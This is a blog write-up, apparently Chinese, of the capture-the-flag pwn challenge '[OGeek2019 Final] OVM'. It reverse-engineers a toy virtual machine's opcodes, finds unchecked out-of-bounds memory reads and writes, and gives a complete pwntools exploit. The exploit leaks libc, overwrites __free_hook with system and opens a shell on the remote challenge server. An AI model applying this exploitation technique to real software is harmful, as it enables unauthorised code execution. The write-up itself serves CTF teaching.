VMpwn:buuctf-[OGeek2019 Final]OVM

转载需标明出处!

做的第一道vmpwn,眼睛快看瞎了

逆向

关键点在下面不断获取指令然后运行指令

在执行指令的过程中可以发现是取参数的四个字节分别来操作

硬逆,逆出来可以得到vm实现了如下伪汇编指令

0x10 : reg[num1] = target lowest
0x20 : reg[num1] = target == 0
0x30 : (mov reg,memory) reg[num1] = memory[reg[num3]]
0x40 : (mov memory,reg) memory[reg[num3]] = reg[num1]
0x50 : (push) stack[(signed int)op] = reg[num1]
0x60 : (pop)  reg[num1] = stack[reg[13]]
0x70 : (add) reg[num1] = reg[num3] + reg[num2]
0x80 : (sub) reg[num1] = reg[num2] - reg[num3]
0x90 : (and) reg[num1] = reg[num3] & reg[num2]
0xA0 : (or)  reg[num1] = reg[num3] | reg[num2]
0xB0 : (xor) reg[num1] = reg[num3] ^ reg[num2]  
0xC0 : (<<)  reg[num1] = reg[num2] << reg[num3]
0xD0 : (>>)  reg[num1] = reg[num2] >> reg[num3]
0xFF : (exit or print) if(reg[13] != 0) print oper

漏洞位于这两个位置,0x30和0x40分别实现了读和写的功能,但是没有验证范围,即有符号数可以正常解析,可以越界读写虚拟机的模拟内存


(用的movsxd)

最后程序退出后可以向之前程序一开始的位置申请的chunk中写入内容,同时写入内容后程序会free掉这个堆块


逆向过程到此结束

思路与调试过程

程序有越界漏洞,我们观察bss,可以发现stdin在memory-0xe0的位置,由于memory的每个大小是双字,即stdin = memory[-56]
我们可以将memory[-56]的内容利用read功能写入寄存器,调试一下观察__free_hook-0x8的位置在stdin+0x1090处,所以我们得以泄漏地址
泄漏完由于寄存器保留着这个地址,而且comment = memory[-8]的位置,我们利用写功能,将寄存器的值写入到memory[-8]的位置,即可将原来的chunk指针改变为__free_hook - 0x8的地方
最后向__free_hook写入payload,完成虚拟机逃逸

注意的点是由于虚拟机模拟的单位内存是0x4个字节,所以泄漏和写入要分为两次进行,将低4字节存到一个寄存器里,将高2字节(memory[-55])再存到一个寄存器里,写入的时候也同理
低四字节 --> memory[-8],高二字节 --> memory[-7]

同时利用程序提供的虚拟指令来构造数据即可

调试过程:
1.成功将真实内存值写入虚拟寄存器

2.成功将虚拟寄存器的值写入真实内存地址

最后getshell

exp

from pwn import *

local = 0

'''
author: lemon
time: 2020-11-15
libc: libc-2.23.so
python version: 2.7
'''

binary = "./pwn"
libc_path = '../libc-2.23.so'
port = "29113"

if local == 1:
	p = process(binary)
else:
	p = remote("node3.buuoj.cn",port)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

'''
0x10 : reg[num1] = target lowest

0x20 : reg[num1] = target == 0

0x30 : (mov reg,memory) reg[num1] = memory[reg[num3]]

0x40 : (mov memory,reg) memory[reg[num3]] = reg[num1]

0x50 : (push) stack[(signed int)op] = reg[num1]

0x60 : (pop)  reg[num1] = stack[reg[13]]

0x70 : (add) reg[num1] = reg[num3] + reg[num2]

0x80 : (sub) reg[num1] = reg[num2] - reg[num3]

0x90 : (and) reg[num1] = reg[num3] & reg[num2]

0xA0 : (or)  reg[num1] = reg[num3] | reg[num2]

0xB0 : (xor) reg[num1] = reg[num3] ^ reg[num2]  

0xC0 : (<<)  reg[num1] = reg[num2] << reg[num3]

0xD0 : (>>)  reg[num1] = reg[num2] >> reg[num3]

0xFF : (exit or print) if(reg[13] != 0) print oper
'''

# 0x10 : reg[num1] = target lowest
def set_number(n1,n3):
	return u32((p8(0x10) + p8(n1) + p8(0) + p8(n3))[::-1])

# 0x30 : (mov reg,memory) reg[num1] = memory[reg[num3]]
def read(n1,n3):
	return u32((p8(0x30) + p8(n1) + p8(0) + p8(n3))[::-1])

# 0x40 : (mov memory,reg) memory[reg[num3]] = reg[num1]
def write(n1,n3):
	return u32((p8(0x40) + p8(n1) + p8(0) + p8(n3))[::-1])

# 0xC0 : (<<)  reg[num1] = reg[num2] << reg[num3]
def left(n1,n2,n3):
	return u32((p8(0xc0) + p8(n1) + p8(n2) + p8(n3))[::-1])

# 0xD0 : (>>)  reg[num1] = reg[num2] >> reg[num3]
def right(n1,n2,n3):
	return u32((p8(0xd0) + p8(n1) + p8(n2) + p8(n3))[::-1])

# 0x70 : (add) reg[num1] = reg[num3] + reg[num2]
def add(n1,n2,n3):
	return u32((p8(0x70) + p8(n1) + p8(n2) + p8(n3))[::-1])

# 0x80 : (sub) reg[num1] = reg[num2] - reg[num3]
def sub(n1,n2,n3):
	return u32((p8(0x80) + p8(n1) + p8(n2) + p8(n3))[::-1])

# 0x90 : (and) reg[num1] = reg[num3] & reg[num2]
def And(n1,n2,n3):
	return u32((p8(0x90) + p8(n1) + p8(n2) + p8(n3))[::-1])

# 0xA0 : (or)  reg[num1] = reg[num3] | reg[num2]
def Or(n1,n2,n3):
	return u32((p8(0xa0) + p8(n1) + p8(n2) + p8(n3))[::-1])

# 0xB0 : (xor) reg[num1] = reg[num3] ^ reg[num2]  
def Xor(n1,n2,n3):
	return u32((p8(0xb0) + p8(n1) + p8(n2) + p8(n3))[::-1])

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['__free_hook']
	print "[*] libc base:",hex(libc_base)
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search('/bin/sh').next()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

memory = 0x202060
reg = 0x242060
stack = 0x2420A0
comment = 0x202040
stdin = memory - 0xe0
offset = -56  # 0xffffffC8

# reg[num3] = -56 = 0xffffffC8
set_number(3,0xff)
set_number(0,0x8)
left(3,3,0)	# 0xff00
set_number(2,0xff)
add(3,3,2)	# 0xffff
left(3,3,0)	# 0xffff00
add(3,3,2)	# 0xffffff
left(3,3,0)	# 0xffffff00
set_number(2,0xc8)
add(3,3,2)

read(0,3)	# reg[0] = memory[reg[3]] = memory[-56]
set_number(2,1)
add(3,3,2)
read(1,3)

offset_free_hook_stdin = 0x1090

set_number(5,0x10)
set_number(6,0x8)
left(5,5,6) 	# reg[5] = 0x1000
set_number(6,0x90)
add(5,5,6)
add(0,0,5)

set_number(6,47)
add(3,3,6)
write(0,3)
set_number(6,1)
add(3,3,6)
write(1,3)

code = [
set_number(3,0xff),
set_number(0,0x8),
left(3,3,0),
set_number(2,0xff),
add(3,3,2),
left(3,3,0),
add(3,3,2),
left(3,3,0),
set_number(2,0xc8),
add(3,3,2),
read(0,3),
set_number(2,1),
add(3,3,2),
read(1,3),
set_number(5,0x10),
set_number(6,0x8),
left(5,5,6),
set_number(6,0x90),
add(5,5,6),
add(0,0,5),
set_number(6,47),
add(3,3,6),
write(0,3),
set_number(6,1),
add(3,3,6),
write(1,3),
u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1])
]

p.sendlineafter('PCPC: ',str(0))
p.sendlineafter('SP: ',str(1))
p.sendlineafter('CODE SIZE: ',str(len(code)))
p.recvuntil('CODE: ')

for i in code:
	p.sendline(str(i))

p.recvuntil("R0: ")
low_4 = int(p.recv(8),16)
p.recvuntil("R1: ")
high_2 = int(p.recv(4),16)

temp = high_2 << 32
leak = temp + low_4 + 8
log.success("LEAK:{}".format(hex(leak)))
leak_libc(leak)

# dbg()

payload = "/bin/sh\x00" + p64(system)
p.send(payload)

# gdb.attach(p)
p.interactive()
posted @ 2020-11-15 09:18  lemon想学二进制  阅读(464)  评论(2编辑  收藏  举报